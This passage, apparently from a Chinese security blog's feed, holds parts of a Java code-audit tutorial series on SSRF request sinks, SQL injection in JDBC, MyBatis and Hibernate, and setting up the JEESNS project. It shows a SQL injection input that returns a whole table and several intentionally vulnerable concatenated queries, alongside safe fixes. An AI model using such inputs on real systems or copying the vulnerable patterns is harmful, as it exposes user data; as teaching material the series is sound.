实例,然后再调 <code>getInputStream()</code> 拿到 <code>InputStream</code>,也就是请求的响应流。之后,再做我们想要的其它事情。</p><p>在这个过程中,如果 <code>URL</code> 是可控的,那么就会存在 <code>SSRF</code> 漏洞。</p><p>下面分析下主要的几个方法。</p><h2 id="new-URL"><a href="#new-URL" class="headerlink" title="new URL()"></a>new URL()</h2><p>构造一个 <code>URL</code> 对象,构造时,可以指定 <code>协议</code>,<code>HOST</code>,<code>端口</code>,<code>文件路径</code>,<code>URLStreamHandler</code>。</p><p>其中,<code>URLStreamHandler</code> 是一个抽象类,每个协议都有继承它的子类 —— <code>Handler</code>(可以在各协议的包下找到)。<code>Handler</code> 定义了该如何去打开一个连接( <code>openConnection()</code> )。</p><p>如果是直接传入一个 <code>URL</code> 字符串,会在构造对象时,根据 <code>protocol</code> 自动创建对应的 <code>Handler</code> 对象。</p><h2 id="openConnection"><a href="#openConnection" class="headerlink" title="openConnection()"></a>openConnection()</h2><p>每次调用 <code>openConnection()</code> 时,都会创造一个新的实例,也就是 <code>URLConnection</code>。但是,<strong>在实例创建时,真实的网络连接实际上并没有建立</strong>。只有在调用 <code>URLConnection.connect()</code> 方法后才会建立连接。</p><h2 id="getInputStream"><a href="#getInputStream" class="headerlink" title="getInputStream()"></a>getInputStream()</h2><p>从打开的连接获取一个 <code>InputStream</code>,可以从中得到 <code>URL</code> 请求的响应流。在调用这个方法时,会自动调用 <code>URLConnection.connect()</code> 方法,也就是建立连接。所以一旦调用 <code>getInputStream()</code> 连接就已经建立好了,不管后续做什么操作,这个 <code>URL</code> 请求都已经发出去了。</p><h2 id="另一种写法"><a href="#另一种写法" class="headerlink" title="另一种写法"></a>另一种写法</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">URL u = <span class="keyword">new</span> URL(url);</span><br><span class="line">HttpURLConnection con = (HttpURLConnection) u.openConnection();</span><br><span class="line">con.setRequestMethod(<span class="string">"GET"</span>);</span><br><span class="line">con.setRequestProperty(<span class="string">"User-Agent"</span>, <span class="string">"Mozilla/5.0"</span>);</span><br><span class="line">con.getInputStream();</span><br><span class="line"></span><br><span class="line"><span class="comment">//...</span></span><br></pre></td></tr></table></figure><p>假设这里的 <code>URL</code> 使用户可控的,这段代码相对于上一段来说,会稍微 “安全” 些。如果攻击者想要使用 <code>gopher</code> 协议攻击内网服务,在第 <code>2</code> 行时,会由于类型强制转换失败而抛出异常。在异常抛出前,一直没有调用到 <code>connect()</code> 方法,所以请求并没有发出去。</p><blockquote><p>第 <code>2</code> 行的类型转换相当于限定了协议,在能够明确使用的协议的情况下,建议用这种方式对协议做限制。</p></blockquote><h1 id="其它发起请求的例子"><a href="#其它发起请求的例子" class="headerlink" title="其它发起请求的例子"></a>其它发起请求的例子</h1><h2 id="javax-imageio-ImageIO"><a href="#javax-imageio-ImageIO" class="headerlink" title="javax.imageio.ImageIO"></a>javax.imageio.ImageIO</h2><p>这是 <code>JDK</code> 自带的类,它的 <code>read()</code> 方法,用来加载图片。它可以传入一个 <code>URL</code> 对象,且没有协议限制,如下:</p><p>ImageIO.java:1386</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> BufferedImage <span class="title">read</span><span class="params">(URL input)</span> <span class="keyword">throws</span> IOException </span>{</span><br><span class="line"> <span class="keyword">if</span> (input == <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"input == null!"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> InputStream istream = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> istream = input.openStream();</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> IIOException(<span class="string">"Can't get input stream from URL!"</span>, e);</span><br><span class="line"> }</span><br><span class="line"> ImageInputStream stream = createImageInputStream(istream);</span><br><span class="line"> BufferedImage bi;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> bi = read(stream);</span><br><span class="line"> <span class="keyword">if</span> (bi == <span class="keyword">null</span>) {</span><br><span class="line"> stream.close();</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">finally</span> {</span><br><span class="line"> istream.close();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> bi;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>如果服务器在加载图片时,<code>URL</code> 是用户可控的,那么就会存在 <code>SSRF</code> 漏洞。</strong></p><h2 id="HttpClient"><a href="#HttpClient" class="headerlink" title="HttpClient"></a>HttpClient</h2><p>一个 <code>get</code> 请求的例子:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CloseableHttpClient httpClient = HttpClients.createDefault();</span><br><span class="line">HttpGet getRequest = <span class="keyword">new</span> HttpGet(url);</span><br><span class="line">HttpResponse response = httpClient.execute(getRequest);</span><br></pre></td></tr></table></figure><p>问题同上。</p><h2 id="其它"><a href="#其它" class="headerlink" title="其它"></a>其它</h2><ul><li><p>okhttp</p></li><li><p>Request</p></li><li><p>…</p></li></ul><h1 id="容易出现SSRF的功能点"><a href="#容易出现SSRF的功能点" class="headerlink" title="容易出现SSRF的功能点"></a>容易出现SSRF的功能点</h1><p>只要是能够对外发起网络请求的地方,就有可能会出现SSRF漏洞。</p><ul><li><p>从指定url获取内容</p></li><li><p>数据源连接</p></li><li><p>后台状态刷新</p></li><li><p>webmail (POP3/SMTP/IMAP)</p></li><li><p>文件处理 (加载图片/XML/PDF/ffpmg/ImageMagic)</p></li></ul><h1 id="修复策略"><a href="#修复策略" class="headerlink" title="修复策略"></a>修复策略</h1><ul><li><p>避免 <code>url</code> 用户可控,包括 <code>path</code></p></li><li><p>统一请求响应及错误信息</p></li><li><p>白名单校验url及ip</p></li><li><p>限制协议及端口</p></li><li><p>TTL 设置为 0,防止 <code>DNS Rebinding</code> 攻击(Java默认为 0)</p></li></ul><blockquote><p>可以参考 <a href="https://joychou.org" target="_blank" rel="noopener">@JoyChou</a> 师傅的<a href="https://github.com/JoyChou93/trident/blob/master/src/main/java/SSRF.java" target="_blank" rel="noopener">修复方案</a>。</p></blockquote><h1 id="相关文章"><a href="#相关文章" class="headerlink" title="相关文章"></a>相关文章</h1><ul><li><p><a href="https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork--20160711.pdf" target="_blank" rel="noopener">Build Your SSRF Exploit Framework</a></p></li><li><p><a href="https://joychou.org/java/javassrf.html" target="_blank" rel="noopener">SSRF in JAVA</a></p></li><li><p><a href="https://joychou.org/java/use-dnsrebinding-to-bypass-ssrf-in-java.html" target="_blank" rel="noopener">Use DNS Rebinding to Bypass SSRF in JAVA</a></p></li></ul>]]></content>
<tags>
<tag> Java </tag>
<tag> 代码审计 </tag>
</tags>
</entry>
<entry>
<title>从1开始的Java代码审计·第三弹·SQL注入</title>
<link href="/2018/11/15/java-audit-step-by-step-3/"/>
<url>/2018/11/15/java-audit-step-by-step-3/</url>
<content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>SQL注入是什么,有什么用,就不多介绍了。总结下漏洞的原因,主要是由于开发者对用户的输入没有做好过滤,直接将用户的输入带入到 SQL语句中,导致恶意用户可以控制服务器执行的SQL语句。</p><p>在 Java 中,操作SQL的主要有以下几种方式:</p><ol><li><p><code>java.sql.Statement</code></p></li><li><p><code>java.sql.PrepareStatement</code></p></li><li><p>使用第三方 <code>ORM</code> 框架 —— <code>MyBatis</code> 或 <code>Hibernate</code></p></li></ol><p>下面我们来分析以上几种执行SQL的方式。</p><a id="more"></a><h1 id="java-sql-Statement"><a href="#java-sql-Statement" class="headerlink" title="java.sql.Statement"></a>java.sql.Statement</h1><p><code>java.sql.Statement</code> 是最原始的执行SQL的接口,使用它时,需要手动拼接SQL语句,如下面这样:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">String sql = <span class="string">"SELECT * FROM user WHERE id = '"</span> + id + <span class="string">"'"</span>;</span><br><span class="line">Statement statement = connection.createStatement();</span><br><span class="line">statement.execute(sql);</span><br></pre></td></tr></table></figure><p>假设这里 <code>id</code> 参数是直接从用户的请求里获取的,并且没有经过过滤,那么这处代码就会存在SQL注入漏洞。</p><p>构造请求 <code>/?id='or 1 #</code>,服务器将 <code>'or 1 #</code> 拼接到 sql 语句中,就会变成 <code>SELECT * FROM user WHERE id = ''or 1 #</code>,将返回 <code>user</code> 表的所有记录。</p><p>在任何时候,都不推荐使用 <code>java.sql.Statement</code> 这种方式来执行SQL。</p><p>因为这种方式写的代码可读性很差,容易出错,同时也存在很大的安全隐患。</p><h1 id="java-sql-PrepareStatement"><a href="#java-sql-PrepareStatement" class="headerlink" title="java.sql.PrepareStatement"></a>java.sql.PrepareStatement</h1><p>这个接口是对 <code>java.sql.Statement</code> 的拓展,拥有了防SQL注入的特性。</p><blockquote><p>Tip: <code>java.sql.Statement</code> 每次执行一条SQL,都要重新编译一次SQL。而 <code>java.sql.PreparedStatement</code> 预编译的方式,会将SQL缓存在数据库,可以重复调用,相比 <code>Statement</code> 效率要高一些。</p></blockquote><p>使用时,在SQL语句中,用 <code>?</code> 作为占位符,代替需要传入的参数,然后将该语句传递给数据库,数据库会对这条语句进行预编译。如果要执行这条SQL,只要用特定的 <code>set</code> 方法,将传入的参数设置到SQL语句中的指定位置,然后调用 <code>execute</code> 方法执行这条完整的SQL。示例如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">String sql = <span class="string">"SELECT * FROM user WHERE id = ?"</span>;</span><br><span class="line"><span class="comment">//预编译语句</span></span><br><span class="line">PreparedStatement preparedStatement = connection.prepareStatement(sql);</span><br><span class="line"><span class="comment">//填入参数</span></span><br><span class="line">preparedStatement.setString(<span class="number">1</span>,reqStuId);</span><br><span class="line">preparedStatement.executeQuery();</span><br></pre></td></tr></table></figure><p>此时,如果我用之前的请求攻击,执行的SQL会变成 <code>SELECT * FROM user WHERE id = '\'or 1 #'</code>,可以看到单引号是被转义了,同时参数也被一对单引号包裹,数字型注入也不存在了。</p><h2 id="特殊情况"><a href="#特殊情况" class="headerlink" title="特殊情况"></a>特殊情况</h2><h3 id="ORDER-BY"><a href="#ORDER-BY" class="headerlink" title="ORDER BY"></a>ORDER BY</h3><p>我们已经知道,通过占位符传参,不管传递的是什么类型的值,都会被单引号包裹。而使用 <code>ORDER BY</code> 时,要求传入的是字段名或者是字段位置,如:</p><ol><li><p><code>SELECT * FROM user ORDER BY id</code></p></li><li><p><code>SELECT * FROM user ORDER BY 1</code></p></li></ol><p><strong>如果传入的是引号包裹的字符串,那么 <code>ORDER BY</code> 会失效</strong>,如:<code>SELECT * FROM user ORDER BY 'id'</code>。</p><p>所以,如果要动态传入 <code>ORDER BY</code> 参数,只能用字符串拼接的方式,如:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">String sql = <span class="string">"SELECT * FROM user ORDER BY "</span> + column;</span><br></pre></td></tr></table></figure><p>那么这样依然可能会存在SQL注入的问题,在 <code>Java</code> 中会有两种情况:</p><ol><li><p>column 是字符串型</p><p> 这种情况和 <code>Statement</code> 中描述的一样,是存在注入的。要防御就必须要手动过滤,或者将字段名硬编码到 <code>SQL</code> 语句中,比如:</p> <figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">String column = <span class="string">"id"</span>;</span><br><span class="line">String sql =<span class="string">""</span>;</span><br><span class="line"><span class="keyword">switch</span>(column){</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"id"</span>:</span><br><span class="line"> sql = <span class="string">"SELECT * FROM user ORDER BY id"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">"username"</span>:</span><br><span class="line"> sql = <span class="string">"SELECT * FROM user ORDER BY username"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> ......</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li><p>column 是 int 型</p><p> 因为 <code>Java</code> 是强类型语言,当用户传递的参数与后台定义的参数类型不匹配,程序会抛出异常,赋值失败。所以,不会存在注入的问题。</p></li></ol><blockquote><p>类似的, <code>GROUP BY</code> 也会有同样的问题。</p></blockquote><h1 id="MyBatis"><a href="#MyBatis" class="headerlink" title="MyBatis"></a>MyBatis</h1><p>基础篇提到的 <code>JEESNS</code> 用的就是 <code>MyBatis</code>,略过介绍。</p><p><code>MyBatis</code> 使用内联参数 <code>${example}</code> 或 <code>#{example}</code>,将查询的属性和参数做绑定,如下:</p><p>${}</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">select</span> <span class="attr">id</span>=<span class="string">"selectStudentByStuId"</span> <span class="attr">resultMap</span>=<span class="string">"studentMap"</span>></span></span><br><span class="line"> SELECT *</span><br><span class="line"> FROM student</span><br><span class="line"> WHERE stu_id = ${stuId}</span><br><span class="line"><span class="tag"></<span class="name">select</span>></span></span><br></pre></td></tr></table></figure><p>#{}</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">select</span> <span class="attr">id</span>=<span class="string">"selectStudentByStuId"</span> <span class="attr">resultMap</span>=<span class="string">"studentMap"</span>></span></span><br><span class="line"> SELECT *</span><br><span class="line"> FROM student</span><br><span class="line"> WHERE stu_id = #{stuId}</span><br><span class="line"><span class="tag"></<span class="name">select</span>></span></span><br></pre></td></tr></table></figure><p>两种方式有什么区别呢?接着看。</p><h2 id="(不安全的写法)"><a href="#(不安全的写法)" class="headerlink" title="${} (不安全的写法)"></a>${} <em>(不安全的写法)</em></h2><p>使用 <code>${foo}</code> 这样格式的传入参数会直接参与SQL编译,类似字符串拼接的效果,是存在SQL注入漏洞的。所以一般情况下,不会用这种方式绑定参数。</p><h2 id=""><a href="#" class="headerlink" title="#{}"></a>#{}</h2><p>使用 <code>#{}</code> 做参数绑定时, <code>MyBatis</code> 会将SQL语句进行预编译,避免SQL注入的问题。</p><p><code>MyBatis</code> 预编译模式的实现,在底层同样是依赖于 <code>java.sql.PreparedStatement</code>,所以 <code>PreparedStatement</code> 存在的问题,这里也会存在。</p><p><code>ORDER BY</code> 只能通过 <code>${}</code> 传递。为了避免SQL注入,需要手动过滤,或者在SQL里硬编码 <code>ORDER BY</code> 的字段名。</p><p>此外,还有一种情况 —— <code>LIKE</code> 模糊查询。</p><p>看下面这个写法:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">select</span> <span class="attr">id</span>=<span class="string">"selectStudentByFuzzyQuery"</span> <span class="attr">resultMap</span>=<span class="string">"studentMap"</span>></span></span><br><span class="line"> SELECT *</span><br><span class="line"> FROM student</span><br><span class="line"> WHERE student.stu_name</span><br><span class="line"> LIKE '%#{stuName}%'</span><br><span class="line"><span class="tag"></<span class="name">select</span>></span></span><br></pre></td></tr></table></figure><p>在这里,<code>MyBatis</code> 会把 <code>%#{stuName}%</code> 作为要查询的参数,数据库会执行 <code>SELECT * FROM student WHERE student.stu_name LIKE '%#{stuName}%'</code>,导致查询失败,所以这里只能用 <code>${}</code> 的方式传入。而如果用 <code>${}</code> 又存在SQL注入的风险,怎么办呢?</p><p>最好的方法是,使用数据库自带的 <code>CONCAT</code> ,将 <code>%</code> 和我们用 <code>#{}</code> 传入参数连接起来,这样就既不存在注入的问题,也能满足需求啦。示例:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">select</span> <span class="attr">id</span>=<span class="string">"selectStudentByFuzzyQuery"</span> <span class="attr">resultMap</span>=<span class="string">"studentMap"</span>></span></span><br><span class="line"> SELECT *</span><br><span class="line"> FROM student</span><br><span class="line"> WHERE student.stu_name</span><br><span class="line"> LIKE CONCAT('%',#{stuName},'%')</span><br><span class="line"><span class="tag"></<span class="name">select</span>></span></span><br></pre></td></tr></table></figure><h1 id="Hibernate"><a href="#Hibernate" class="headerlink" title="Hibernate"></a>Hibernate</h1><p><code>Hibernate</code> 是一个高性能的 <code>ORM</code> 框架,可以自动生成 <code>SQL</code> 语句,通常与 <code>Struts</code>、<code>Spring</code> 一起搭配使用,也就是我们熟知的 <code>SSH</code> 框架。</p><p><code>Hibernate</code> 支持多种操作数据库的方式,包括原生的 <code>SQL</code>,以及自家的 <code>HQL</code>。</p><h2 id="原生SQL"><a href="#原生SQL" class="headerlink" title="原生SQL"></a>原生SQL</h2><p>原生 <code>SQL</code> 的注入和前面介绍过的注入都一样,都是拼接的问题,就不细讲了。这里介绍下 <code>Hibernate</code> 写原生 <code>SQL</code> 时,可能会用到的几种写法吧。</p><p>要使用原生 <code>SQL</code> ,都会调用到 <code>Sessions.createSQLQuery()</code> 方法。</p><p>下面看第一种写法,如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">session.beginTranscation();</span><br><span class="line">List list = session.createSQLQuery(<span class="string">"SELECT id,name FROM student"</span>).list();</span><br><span class="line">session.getTranscation().commit();</span><br><span class="line"></span><br><span class="line"><span class="comment">//list 是查询的结果,list里的元素由Object数组构成</span></span><br><span class="line"><span class="comment">//Object数组的每个元素代表一个字段,需要强转才能使用</span></span><br><span class="line">Object[] record = (Object[]) list.get(<span class="number">0</span>);</span><br><span class="line">System.out.println(<span class="string">"id="</span>+(Integer) record[<span class="number">0</span>]+<span class="string">",name="</span>+(String) record[<span class="number">1</span>]);</span><br></pre></td></tr></table></figure><p>第二种,上面的例子中,<code>Hibernate</code> 会使用 <code>ResultSetMetadata</code> 返回的标量值的实际类型。但是如果过多使用它会降低程序性能,所以通常会用 <code>addScalar()</code> 提前指定返回值的类型。代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">List list = session.createSQLQuery(<span class="string">"SELECT id,stu_name FROM student"</span>)</span><br><span class="line"> .addScalar(<span class="string">"id"</span>, StandardBasicTypes.INTEGER)</span><br><span class="line"> .addScalar(<span class="string">"stu_name"</span>, StandardBasicTypes.STRING)</span><br><span class="line"> .list();</span><br></pre></td></tr></table></figure><p>第三种,上面的两个例子,返回的都是标量结果集,但是 <code>Hibernate</code> 是一个 <code>ORM</code> 框架,我们希望通过它,直接将返回的数据映射成对象。那怎么写呢?其实,很简单。只要为每个类和表写一个映射关系,让 <code>Hibernate</code> 知道该怎么把查到的数据转换成对象就行了(映射关系是如何写的,请自行百度)。然后,调用 <code>addEntity()</code> 将查询结果和类绑定一下,代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">List<Student> list = session.createSQLQuery(<span class="string">"SELECT * FROM student"</span>)</span><br><span class="line"> .addEntity(Student.class)</span><br><span class="line"> .list();</span><br></pre></td></tr></table></figure><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"><!-- Student映射文件 --></span></span><br><span class="line"><?xml version="1.0"?></span><br><span class="line"><span class="meta"><!DOCTYPE hibernate-mapping PUBLIC</span></span><br><span class="line"><span class="meta"> "-//Hibernate/Hibernate Mapping DTD 3.0//EN"</span></span><br><span class="line"><span class="meta"> "http://www.hibernate.org/dtd/hibernate-mapping-3.0.dtd"></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">hibernate-mapping</span> <span class="attr">package</span>=<span class="string">"edu.cuit.syclover.hibernate.Student"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">class</span> <span class="attr">name</span>=<span class="string">"edu.cuit.syclover.hibernate.Student"</span> <span class="attr">table</span>=<span class="string">"student"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">id</span> <span class="attr">name</span>=<span class="string">"id"</span> <span class="attr">column</span>=<span class="string">"id"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"stuId"</span> <span class="attr">column</span>=<span class="string">"stu_id"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"stuName"</span> <span class="attr">column</span>=<span class="string">"stu_name"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"stuPassword"</span> <span class="attr">column</span>=<span class="string">"stu_password"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">hibernate-mapping</span>></span></span><br></pre></td></tr></table></figure><h2 id="HQL"><a href="#HQL" class="headerlink" title="HQL"></a>HQL</h2><p><code>HQL</code> 是 <code>Hibernate</code> 独有的面向对象的查询语言,接近 <code>SQL</code>。<code>Hibernate</code>引擎会对 <code>HQL</code> 进行解析,翻译成 <code>SQL</code>,再将 <code>SQL</code> 交给数据库执行。</p><p>关于 <code>HQL</code> 的注入,限制很多。</p><p><code>HQL</code> 的限制如下:</p><ol><li><p>不能查询未做映射的表,所以想跨库查系统表基本没有希望。</p><p> 很多地方说 <code>HQL</code> 不支持 <code>UNION</code>,其实是错误的。<code>Hibernate</code> 支持 <code>UNION</code> 的。但是,想要使用 <code>UNION</code>,必须在模型的关系明确后可以,这种情况比较少见,所以会导致 <code>UNION</code> 失败。</p></li><li><p>表名,列名大小写敏感,查询时使用的列名大小写必须和映射类的属性一致。</p></li><li><p>不能用 <code>*</code>, <code>#</code> , <code>--</code></p></li><li><p>无延时函数</p></li></ol><p>所以,利用 <code>HQL</code> 是比较极限的一件事情。</p><blockquote><p>本文不讨论如何 <code>HQL</code> 注入,想了解更多的注入手法,可以看<a href="https://www.freebuf.com/articles/web/33954.html" target="_blank" rel="noopener">这篇文章</a>。</p></blockquote><p><code>HQL</code> 会出现注入的地方还是在字符串拼接的时候,审计的时候看看 <code>SQL</code> 是不是用加号 <code>+</code> 的就行了。</p><p>比如这个例子:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">List<Student> studentList = session.createQuery(<span class="string">"FROM Student s WHERE s.stuId = "</span> + stuId)</span><br><span class="line"> .list();</span><br></pre></td></tr></table></figure><p>下面来看看 <code>HQL</code> 能防注入的安全写法。</p><p>第一种,使用具名参数 <code>Named parameter</code>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">List<Student> studentList = session.createQuery(<span class="string">"FROM Student s WHERE s.stuId = :stuId"</span>)</span><br><span class="line"> .setParameter(<span class="string">"stuId"</span>,stuId)</span><br><span class="line"> .list();</span><br></pre></td></tr></table></figure><p>第二种,占位符 <code>Positional parameter</code>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">List<Student> studentList = session.createQuery(<span class="string">"FROM Student s WHERE s.stuId = ?"</span>)</span><br><span class="line"> .setParameter(stuId)</span><br><span class="line"> .list()</span><br></pre></td></tr></table></figure><p>这两种写法,和 <code>PreparesSatement</code> 的原理效果一样,都是以预编译的方式,通过参数绑定,将参数和 <code>SQL</code> 分离,保证 <code>SQL</code> 不被污染。</p><h1 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h1><ul><li><p><a href="https://www.cnblogs.com/lcngu/p/5918363.html" target="_blank" rel="noopener">https://www.cnblogs.com/lcngu/p/5918363.html</a></p></li><li><p><a href="https://www.w3cschool.cn/hibernate_articles/gapw1ioo.html" target="_blank" rel="noopener">https://www.w3cschool.cn/hibernate_articles/gapw1ioo.html</a> </p></li><li><p><a href="https://www.freebuf.com/articles/web/33954.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/web/33954.html</a></p></li></ul>]]></content>
<tags>
<tag> Java </tag>
<tag> 代码审计 </tag>
</tags>
</entry>
<entry>
<title>从1开始的Java代码审计·第二弹·基础篇(下)</title>
<link href="/2018/10/29/java-audit-step-by-step-2/"/>
<url>/2018/10/29/java-audit-step-by-step-2/</url>
<content type="html"><![CDATA[<p>我们在审计一个项目的时候,最开始应该是先熟悉项目的结构,了解项目的技术栈。</p><p>本篇,我会引入一个开源的 Java Web 项目,通过实例分析 Java Web 的项目结构,常用的 MVC 模式。</p><a id="more"></a><h1 id="JEESNS"><a href="#JEESNS" class="headerlink" title="JEESNS"></a>JEESNS</h1><p><a href="https://github.com/zchuanzhao/jeesns" target="_blank" rel="noopener">JEESNS</a>,是一款基于 JAVA 企业级平台研发的社交管理系统,在 github 上有 200+ star,在开源的 Java Web 项目中算是还不错的了。在本章及后面的内容,我会用它做实例,进行审计分析。</p><p>项目地址: <a href="https://github.com/zchuanzhao/jeesns" target="_blank" rel="noopener">https://github.com/zchuanzhao/jeesns</a></p><h2 id="下载项目"><a href="#下载项目" class="headerlink" title="下载项目"></a>下载项目</h2><p>你可以直接把项目 clone 下来,然后导入到 IDE。也可以直接在 IDEA 里把项目从 VCS(版本控制系统)中 checkout 出来。</p><p>下面我演示下,如何在 IDEA 里直接从 git 服务器上迁出项目。</p><ol><li><p>打开 IDEA,点<code>Check out from Version Control</code>,选择<code>Git</code>。<br><img src="/2018/10/29/java-audit-step-by-step-2/check1.png" alt="check1"></p></li><li><p>在弹出的 dialog 里,输入 git 的地址(<a href="https://github.com/zchuanzhao/jeesns.git),以及本地保存的位置,然后`clone`。" target="_blank" rel="noopener">https://github.com/zchuanzhao/jeesns.git),以及本地保存的位置,然后`clone`。</a><br><img src="/2018/10/29/java-audit-step-by-step-2/check2.png" alt="check2"></p></li><li><p>之后,IDEA 会开始下载项目,并构建,下面是构建完毕的项目工程。<br><img src="/2018/10/29/java-audit-step-by-step-2/check3.png" alt="check3"></p></li></ol><hr><h1 id="项目结构解析"><a href="#项目结构解析" class="headerlink" title="项目结构解析"></a>项目结构解析</h1><h2 id="Maven"><a href="#Maven" class="headerlink" title="Maven"></a>Maven</h2><h3 id="根目录下的-pom-xml"><a href="#根目录下的-pom-xml" class="headerlink" title="根目录下的 pom.xml"></a>根目录下的 pom.xml</h3><p>在项目的根目录下,有一个<code>pom.xml</code>的文件,这个文件的存在,表明项目是用<code>Maven</code>构建的,<a href="http://www.runoob.com/maven/maven-tutorial.html" target="_blank" rel="noopener">关于 Maven 可以点这里</a>。它是用来管理项目源码、配置文件,不过最大的用处还是处理<strong>项目的依赖关系</strong>。作用有点类似于 nodejs 的 npm,python 的 pip。</p><p>下面,点开这个<code>pom.xml</code>。</p><p><img src="/2018/10/29/java-audit-step-by-step-2/maven1.png" alt="maven1"></p><p>红框的 ① 处,描述了这个项目的开发组织,项目名称,项目版本。</p><p>② 处,用的是<code>modules</code>标签,说明这是一个多模块项目。在左边的导航栏,可以看到确实有许多子模块。</p><blockquote><p>多模块项目是为了在项目开发中便于后期维护,所以采用分层开发的方法,这样各个模块的职责会比较的明确,维护起来相对容易。在打包时,只要对父模块打包即可,子模块会自动合并进来。</p></blockquote><p>③ 处,是 maven 在构建时相关的配置,这里用了一个 compiler 